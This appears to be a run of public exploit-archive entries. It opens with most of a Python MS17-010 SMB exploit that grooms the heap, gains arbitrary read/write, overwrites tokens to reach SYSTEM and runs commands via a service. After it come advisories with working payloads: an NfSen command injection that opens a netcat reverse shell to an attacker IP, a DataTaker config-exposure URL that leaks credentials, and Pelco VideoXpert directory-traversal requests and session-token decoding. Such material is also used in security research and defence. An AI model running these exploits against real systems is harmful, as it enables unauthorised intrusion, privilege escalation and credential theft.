	conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
	wait_for_request_processed(conn)

	# if the overwritten is correct, a modified transaction mid should be special_mid now.
	# a new transaction with special_mid should be error.
	recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
	if recvPkt.getNTStatus() != 0x10002:  # invalid SMB
		print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
		print('!!! Write to wrong place !!!')
		print('the target might be crashed')
		return False

	print('success controlling groom transaction')

	# NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
	# but this method make the transation never get freed
	# I will avoid memory leak
	
	# ================================
	# modify trans1 struct to be used for arbitrary read/write
	# ================================
	print('modify trans1 struct for arbitrary read/write')
	fmt = info['PTR_FMT']
	# use transGroom to modify trans2.InData to &trans1. so we can modify trans1 with trans2 data
	conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
	wait_for_request_processed(conn)

	# modify
	# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
	# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
	conn.send_nt_trans_secondary(mid=special_mid, data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
	wait_for_request_processed(conn)

	# modify trans2.mid
	info['trans2_mid'] = conn.next_mid()
	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
	return True

def exploit_fish_barrel(conn, pipe_name, info):
	# for Windows Vista/2008 and earlier
	
	tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
	conn.set_default_tid(tid)
	# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
	fid = conn.nt_create_andx(tid, pipe_name)
	info['fid'] = fid

	if info['os'] == 'WIN7' and 'arch' not in info:
		# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
		info.update(leak_frag_size(conn, tid, fid))
	
	if 'arch' in info:
		# add os and arch specific exploit info
		info.update(OS_ARCH_INFO[info['os']][info['arch']])
		attempt_list = [ OS_ARCH_INFO[info['os']][info['arch']] ]
	else:
		# do not know target architecture
		# this case is only for Windows 2003
		# try offset of 64 bit then 32 bit because no target architecture
		attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]
	
	# ================================
	# groom packets
	# ================================
	# sum of transaction name, parameters and data length is 0x1000
	# paramterCount = 0x100-TRANS_NAME_LEN
	print('Groom packets')
	trans_param = pack('<HH', info['fid'], 0)
	for i in range(12):
		mid = info['fid'] if i == 8 else next_extra_mid()
		conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)	
	
	# expected transactions alignment
	#
	#    +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
	#    |  mid=mid1 |  mid=mid2 |             |  mid=mid8 |  mid=fid  |  mid=mid9 | mid=mid10 | mid=mid11 |
	#    +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
	#                                                         trans1       trans2

	# ================================
	# shift transaction Indata ptr with SmbWriteAndX
	# ================================
	shift_indata_byte = 0x200
	conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)
	
	# ================================
	# Dangerous operation: attempt to control one transaction
	# ================================
	# Note: POOL_ALIGN value is same as heap alignment value
	success = False
	for tinfo in attempt_list:
		print('attempt controlling next transaction on ' + tinfo['ARCH'])
		HEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE']+HEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
		NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE

		# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
		conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
		wait_for_request_processed(conn)

		# if the overwritten is correct, a modified transaction mid should be special_mid now.
		# a new transaction with special_mid should be error.
		recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
		if recvPkt.getNTStatus() == 0x10002:  # invalid SMB
			print('success controlling one transaction')
			success = True
			if 'arch' not in info:
				print('Target is '+tinfo['ARCH'])
				info['arch'] = tinfo['ARCH']
				info.update(OS_ARCH_INFO[info['os']][info['arch']])
			break
		if recvPkt.getNTStatus() != 0:
			print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
	
	if not success:
		print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
		print('!!! Write to wrong place !!!')
		print('the target might be crashed')
		return False


	# NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
	# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
	#   because of this unfreed memory chunk. I will avoid it.
	
	# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two 
	# transactions (do not know the address).
	# After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
	# To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
	# To be able to modify trans1 struct, we need to use trans2 param or data but write backward.
	# On 32 bit target, we can write to any address if parameter count is 0xffffffff.
	# On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions
	#   are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
	#   we also modify HIDWORD of InParameter to 0xffffffff.
	
	print('modify parameter count to 0xffffffff to be able to write backward')
	conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
	# on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
	if info['arch'] == 'x64':
		conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
	wait_for_request_processed(conn)
	
	TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
	PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
	PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT

	# modify paramterCount of first transaction
	conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
	if info['arch'] == 'x64':
		conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
		# restore trans2.InParameters pointer before leaking next transaction
		conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
	wait_for_request_processed(conn)

	# ================================
	# leak transaction
	# ================================
	print('leak next transaction')
	# modify TRANSACTION member to leak info
	# function=5 (NT_TRANS_RENAME)
	conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
	# parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
	conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 0x100, 0x100), dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_PARAMCNT_OFFSET'])

	conn.send_nt_trans_secondary(mid=special_mid)
	leakData = conn.recv_transaction_data(special_mid, 0x100)
	leakData = leakData[4:]  # remove param
	#open('leak.dat', 'wb').write(leakData)

	# check heap chunk size value in leak data
	if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != (TRANS_CHUNK_SIZE // info['POOL_ALIGN']):
		print('chunk size is wrong')
		return False

	# extract leak transaction data and make next transaction to be trans2
	leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
	leakTrans = leakData[leakTranOffset:]
	fmt = info['PTR_FMT']
	_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)
	inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
	trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
	
	print('CONNECTION: 0x{:x}'.format(connection_addr))
	print('SESSION: 0x{:x}'.format(session_addr))
	print('FLINK: 0x{:x}'.format(flink_value))
	print('InData: 0x{:x}'.format(indata_value))
	print('MID: 0x{:x}'.format(trans2_mid))
	
	trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
	trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
	print('TRANS1: 0x{:x}'.format(trans1_addr))
	print('TRANS2: 0x{:x}'.format(trans2_addr))
	
	# ================================
	# modify trans struct to be used for arbitrary read/write
	# ================================
	print('modify transaction struct for arbitrary read/write')
	# modify
	# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
	# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
	# Note: HIDWORD of trans1.InParameter is still 0xffffffff
	TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
	conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
	wait_for_request_processed(conn)
	
	# modify trans1.mid
	trans1_mid = conn.next_mid()
	conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
	wait_for_request_processed(conn)
	
	info.update({
		'connection': connection_addr,
		'session': session_addr,
		'trans1_mid': trans1_mid,
		'trans1_addr': trans1_addr,
		'trans2_mid': trans2_mid,
		'trans2_addr': trans2_addr,
	})
	return True

def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr):
	SID_SYSTEM = pack('<BB5xB'+'I', 1, 1, 5, 18)
	SID_ADMINISTRATORS = pack('<BB5xB'+'II', 1, 2, 5, 32, 544)
	SID_AUTHENICATED_USERS = pack('<BB5xB'+'I', 1, 1, 5, 11)
	SID_EVERYONE = pack('<BB5xB'+'I', 1, 1, 1, 0)
	# SID_SYSTEM and SID_ADMINISTRATORS must be added
	sids = [ SID_SYSTEM, SID_ADMINISTRATORS, SID_EVERYONE, SID_AUTHENICATED_USERS ]
	# - user has no attribute (0)
	# - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
	# - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
	attrs = [ 0, 0xe, 7, 7 ]
	
	# assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
	# fake user and groups will be in same buffer of original one
	# so fake sids size must NOT be bigger than the original sids
	fakeUserAndGroupCount = min(userAndGroupCount, 4)
	fakeUserAndGroupsAddr = userAndGroupsAddr
	
	addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2)
	fakeUserAndGroups = ''
	for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
		fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr)
		addr += len(sid)
	fakeUserAndGroups += ''.join(sids[:fakeUserAndGroupCount])
	
	return fakeUserAndGroupCount, fakeUserAndGroups


def exploit(target, pipe_name):
	conn = MYSMB(target)
	
	# set NODELAY to make exploit much faster
	conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

	info = {}

	conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
	server_os = conn.get_server_os()
	print('Target OS: '+server_os)
	if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
		info['os'] = 'WIN7'
		info['method'] = exploit_matched_pairs
	elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10"):
		info['os'] = 'WIN8'
		info['method'] = exploit_matched_pairs
	elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith('Windows Vista'):
		info['os'] = 'WIN7'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows Server 2003 "):
		info['os'] = 'WIN2K3'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows 5.1"):
		info['os'] = 'WINXP'
		info['arch'] = 'x86'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows XP "):
		info['os'] = 'WINXP'
		info['arch'] = 'x64'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows 5.0"):
		info['os'] = 'WIN2K'
		info['arch'] = 'x86'
		info['method'] = exploit_fish_barrel
	else:
		print('This exploit does not support this target')
		sys.exit()
	
	if pipe_name is None:
		pipe_name = find_named_pipe(conn)
		if pipe_name is None:
			print('Not found accessible named pipe')
			return False
		print('Using named pipe: '+pipe_name)

	if not info['method'](conn, pipe_name, info):
		return False

	# Now, read_data() and write_data() can be used for arbitrary read and write.
	# ================================
	# Modify this SMB session to be SYSTEM
	# ================================	
	fmt = info['PTR_FMT']
	
	print('make this SMB session to be SYSTEM')
	# IsNullSession = 0, IsAdmin = 1
	write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')

	# read session struct to get SecurityContext address
	sessionData = read_data(conn, info, info['session'], 0x100)
	secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]

	if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
		# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
		# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
		# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
		
		# find the token and modify it
		if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
			pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
			pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0]
		else:
			pctxtDataAddr = secCtxAddr

		tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
		tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
		print('current TOKEN addr: 0x{:x}'.format(tokenAddr))
		
		# copy Token data for restoration
		tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
		
		userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
		userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
		print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
		print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))

		print('overwriting token UserAndGroups')
		# modify UserAndGroups info
		fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
		if fakeUserAndGroupCount != userAndGroupCount:
			write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', fakeUserAndGroupCount))
		write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
	else:
		# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
		# copy SecurityContext for restoration
		secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])

		print('overwriting session security context')
		# see FAKE_SECCTX detail at top of the file
		write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])

	# ================================
	# do whatever we want as SYSTEM over this SMB connection
	# ================================	
	try:
		smb_pwn(conn, info['arch'])
	except:
		pass

	# restore SecurityContext/Token
	if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
		userAndGroupsOffset = userAndGroupsAddr - tokenAddr
		write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
		if fakeUserAndGroupCount != userAndGroupCount:
			write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', userAndGroupCount))
	else:
		write_data(conn, info, secCtxAddr, secCtxData)

	conn.disconnect_tree(conn.get_tid())
	conn.logoff()
	conn.get_socket().close()
	return True


def smb_pwn(conn, arch):
	smbConn = conn.get_smbconnection()
	
	print('creating file c:\\pwned.txt on the target')
	tid2 = smbConn.connectTree('C$')
	fid2 = smbConn.createFile(tid2, '/pwned.txt')
	smbConn.closeFile(tid2, fid2)
	smbConn.disconnectTree(tid2)
	
	#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
	#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
	# Note: there are many methods to get shell over SMB admin session
	# a simple method to get shell (but easily to be detected by AV) is
	# executing binary generated by "msfvenom -f exe-service ..."

def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
	with open(localSrc, 'rb') as fp:
		smbConn.putFile(remoteDrive + '$', remotePath, fp.read)

# based on impacket/examples/serviceinstall.py
# Note: using Windows Service to execute command same as how psexec works
def service_exec(conn, cmd):
	import random
	import string
	from impacket.dcerpc.v5 import transport, srvs, scmr
	
	service_name = ''.join([random.choice(string.letters) for i in range(4)])

	# Setup up a DCE SMBTransport with the connection already in place
	rpcsvc = conn.get_dce_rpc('svcctl')
	rpcsvc.connect()
	rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
	svcHandle = None
	try:
		print("Opening SVCManager on %s....." % conn.get_remote_host())
		resp = scmr.hROpenSCManagerW(rpcsvc)
		svcHandle = resp['lpScHandle']
		
		# First we try to open the service in case it exists. If it does, we remove it.
		try:
			resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
		except Exception as e:
			if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
				raise e  # Unexpected error
		else:
			# It exists, remove it
			scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
			scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
		
		print('Creating service %s.....' % service_name)
		resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
		serviceHandle = resp['lpServiceHandle']
		
		if serviceHandle:
			# Start service
			try:
				print('Starting service %s.....' % service_name)
				scmr.hRStartServiceW(rpcsvc, serviceHandle)
				# is it really need to stop?
				# using command line always makes starting service fail because SetServiceStatus() does not get called
				#print('Stoping service %s.....' % service_name)
				#scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
			except Exception as e:
				print(str(e))
			
			print('Removing service %s.....' % service_name)
			scmr.hRDeleteService(rpcsvc, serviceHandle)
			scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
	except Exception as e:
		print("ServiceExec Error on: %s" % conn.get_remote_host())
		print(str(e))
	finally:
		if svcHandle:
			scmr.hRCloseServiceHandle(rpcsvc, svcHandle)

	rpcsvc.disconnect()


if len(sys.argv) < 2:
	print("{} <ip> [pipe_name]".format(sys.argv[0]))
	sys.exit(1)

target = sys.argv[1]
pipe_name = None if len(sys.argv) < 3 else sys.argv[2]

exploit(target, pipe_name)
print('Done')
            
# Exploit Title: NfSen/AlienVault remote root exploit (command injection in customfmt parameter)
# Version: NfSen 1.3.6p1, 1.3.7 and 1.3.7-1~bpo80+1_all. Previous versions are also likely to be affected.
# Version: AlienVault USM/OSSIM < 4.3.1
# Date: 2017-07-10
# Vendor Homepage: http://nfsen.sourceforge.net/
# Vendor Homepage: http://www.alienvault.com/
# Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Tested on: NfSen 1.3.7
# CVE: CVE-2017-7175, CVE-2017-6972

1. Description

A remote authenticated attacker (or an attacker with a stolen PHP Session ID) can gain complete control over the system by sending a crafted request with shell commands which will be executed as root on a vulnerable system. The injection is covered by CVE-2017-7175, and the commands are executed as root due to CVE-2017-6972.

2. Proof of Concept


For a reverse shell to attacking machine 10.100.1.2, on the NfSen / AlienVault netflow processing web page, enter the following into the "Custom output format:" input box:

'; nc -ne /bin/bash 10.100.1.2 443 #

If nc is not installed on the target, then alternative attacks are likely to be possible to leverage the vulnerability.

3. Solution:

Update to latest version of NfSen/USM/OSSIM
            
[+] Title: DataTaker DT80 dEX 1.50.012 - Sensitive Configurations Exposure
[+] Credits / Discovery: Nassim Asrir
[+] Author Contact: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/
[+] Author Company: Henceforth
[+] CVE: CVE-2017-11165
 
Vendor:
===============
 
http://www.datataker.com/
  
  
About:
========

The dataTaker DT80 smart data logger provides an extensive array of features that allow it to be used across a wide variety of applications. The DT80 is a robust, stand alone, low power data logger featuring USB memory stick support, 18 bit resolution, extensive communications capabilities and built-in display.

The dataTaker DT80’s Dual Channel concept allows up to 10 isolated or 15 common referenced analog inputs to be used in many combinations. With support for multiple SDI-12 sensor networks, Modbus for SCADA systems, FTP and Web interface, 12V regulated output to power sensors, the DT80 is a totally self contained solution.  
  
Vulnerability Type:
===================
 
Sensitive Configurations Exposure.
 
 
issue:
===================
 
dataTaker dEX 1.350.012 allows remote attackers to obtain sensitive configuration information via
a direct request for the /services/getFile.cmd?userfile=config.xml URI.
  
POC:
===================

http://victim/services/getFile.cmd?userfile=config.xml


Output:
========

<config id="config" onReset="yes" projectFileVersion="2" targetDevice="DT80-3" targetSeries="3" cemCount="1" version="2.0">
<environment>
<application version="1.50.012" build="2014-01-07, 15:16:53"/>
<flashPlayer version="WIN 11.7.700.169" type="PlugIn(non-debugger)"/>
<operatingSystem version="Windows 7"/><firmware version="9.14.5407"/>
<screen resolution="1024x768"/>
</environment>

etc....

<loggerSetting category="PPP" profile="USER">username</loggerSetting>

<loggerSetting category="PPP" profile="PASSWORD">password</loggerSetting>

<loggerSetting category="FTP_SERVER" profile="PORT">21</loggerSetting>

<loggerSetting category="FTP_SERVER" profile="USER">arrdhor</loggerSetting>

<loggerSetting category="FTP_SERVER" profile="PASSWORD">arrdhor</loggerSetting>

<loggerSetting category="FTP_SERVER" profile="ALLOW_ANONYMOUS">YES</loggerSetting>
            
Schneider Electric Pelco VideoXpert Missing Encryption Of Sensitive Information


Vendor: Schneider Electric SE
Product web page: https://www.pelco.com
Affected version: 2.0.41
                  1.14.7
                  1.12.105

Summary: VideoXpert is a video management solution designed for
scalability, fitting the needs surveillance operations of any size.
VideoXpert Ultimate can also aggregate other VideoXpert systems,
tying multiple video management systems into a single interface.

Desc: The software transmits sensitive data using double Base64 encoding
for the Cookie 'auth_token' in a communication channel that can be
sniffed by unauthorized actors or arbitrarely be read from the vxcore
log file directly using directory traversal attack resulting in
authentication bypass / session hijacking.
Ref: ZSL-2017-5419

Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Jetty(9.2.6.v20141205)
           MongoDB/3.2.10


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5420
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5420.php


05.04.2017

--


After a user logs in, the web server creates a Cookie: auth_token which has the following value:

ZXlKMWMyVnlibUZ0WlNJNkltRmtiV2x1SWl3aWNHRnpjM2R2Y21RaU9pSmhaRzFwYmpFeU15SXNJbVJ2YldGcGJpSTZJa3hQUTBGTUlpd2laWGh3YVhKbGN5STZNVFE1TVRVMU5qYzVOekUxT0N3aVlXZGxiblFpT2lJME1HWTJORE00TmkxbVptTXdMVFExTkRFdE9XTmpaQzFoTlRJeU0yUmlNbVpqTURraUxDSmpiR2xsYm5SSmNDSTZJakV5Tnk0d0xqQXVNU0o5

Base64 decoding that becomes:

eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbjEyMyIsImRvbWFpbiI6IkxPQ0FMIiwiZXhwaXJlcyI6MTQ5MTU1Njc5NzE1OCwiYWdlbnQiOiI0MGY2NDM4Ni1mZmMwLTQ1NDEtOWNjZC1hNTIyM2RiMmZjMDkiLCJjbGllbnRJcCI6IjEyNy4wLjAuMSJ9

Again decoding, gives us result:

{"username":"admin","password":"admin123","domain":"LOCAL","expires":1491556797158,"agent":"40f64386-ffc0-4541-9ccd-a5223db2fc09","clientIp":"127.0.0.1"}


PoC remote session takeover with directory traversal:
-----------------------------------------------------

bash-4.4$ cat pelco_live.txt
GET /portal//..\\\..\\\..\\\..\\\ProgramData\Pelco\Core\core\vxcore.log HTTP/1.1
Host: 127.0.0.1
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36
Content-Type: text/plain; charset=utf-8
Accept: */*
Referer: https://127.0.0.1/portal/
Accept-Language: en-US,en;q=0.8,mk;q=0.6
DNT: 1

bash-4.4$ ncat -v -n 127.0.0.1 80 < pelco_live.txt > vxcore_log.txt
bash-4.4$ cat vxcore_log.txt
--snip--
INFO  [2017-04-06 11:20:09.999] [HealthCheckMonitorPollingThread-0] org.mongodb.driver.connection: Closed connection [connectionId{localValue:400, serverValue:473}] to mongod0-rs1-dfde27ce-6a4f-413a-a7c2-6df855d462df:31001 because the pool has been closed. 
INFO  [2017-04-06 11:20:12.559] [dw-5099 - GET /portal/System.html?auth_token=ZXlKMWMyVnlibUZ0WlNJNkltRmtiV2x1SWl3aWNHRnpjM2R2Y21RaU9pSmhaRzFwYmpFeU15SXNJbVJ2YldGcGJpSTZJa3hQUTBGTUlpd2laWGh3YVhKbGN5STZNVFE1TVRVMU5qYzVOekUxT0N3aVlXZGxiblFpT2lJME1HWTJORE00TmkxbVptTXdMVFExTkRFdE9XTmpaQzFoTlRJeU0yUmlNbVpqTURraUxDSmpiR2xsYm5SSmNDSTZJakV5Tnk0d0xqQXVNU0o5] com.pelco.vms.webService.application.servlets.StaticContentServlet: Returning static content for URI /portal/System.html 
INFO  [2017-04-06 11:20:12.567] [dw-5055 - GET /portal/Lilac.css] com.pelco.vms.webService.application.servlets.StaticContentServlet: Returning static content for URI /portal/Lilac.css 
INFO  [2017-04-06 11:20:12.568] [dw-5098 - GET /portal/lilac/lilac.nocache.js] com.pelco.vms.webService.application.servlets.StaticContentServlet: Returning static content for URI /portal/lilac/lilac.nocache.js 
--snip--

bash-4.4$ cat pelco_auth_token.txt
ZXlKMWMyVnlibUZ0WlNJNkltRmtiV2x1SWl3aWNHRnpjM2R2Y21RaU9pSmhaRzFwYmpFeU15SXNJbVJ2YldGcGJpSTZJa3hQUTBGTUlpd2laWGh3YVhKbGN5STZNVFE1TVRVMU5qYzVOekUxT0N3aVlXZGxiblFpT2lJME1HWTJORE00TmkxbVptTXdMVFExTkRFdE9XTmpaQzFoTlRJeU0yUmlNbVpqTURraUxDSmpiR2xsYm5SSmNDSTZJakV5Tnk0d0xqQXVNU0o5
bash-4.4$ base64 -D pelco_auth_token.txt |base64 -D -
{"username":"admin","password":"admin123","domain":"LOCAL","expires":1491556797158,"agent":"40f64386-ffc0-4541-9ccd-a5223db2fc09","clientIp":"127.0.0.1"}
bash-4.4$ 
            
Schneider Electric Pelco VideoXpert Core Admin Portal Directory Traversal


Vendor: Schneider Electric SE
Product web page: https://www.pelco.com
Affected version: 2.0.41
                  1.14.7
                  1.12.105

Summary: VideoXpert is a video management solution designed for
scalability, fitting the needs surveillance operations of any size.
VideoXpert Ultimate can also aggregate other VideoXpert systems,
tying multiple video management systems into a single interface.

Desc: Pelco VideoXpert suffers from a directory traversal vulnerability.
Exploiting this issue will allow an unauthenticated attacker to
view arbitrary files within the context of the web server.


Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Jetty(9.2.6.v20141205)
           MongoDB/3.2.10


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5419
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5419.php


05.04.2017

--


PoC:
----

GET /portal//..\\\..\\\..\\\..\\\windows\win.ini HTTP/1.1
Host: 172.19.0.198
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close


HTTP/1.1 200 OK
Date: Wed, 05 Apr 2017 13:27:39 GMT
Last-Modified: Tue, 14 Jul 2009 05:09:22 GMT
Cache-Control: public, max-age=86400
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
ETag: 1247548162000
Content-Length: 403
Connection: close

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
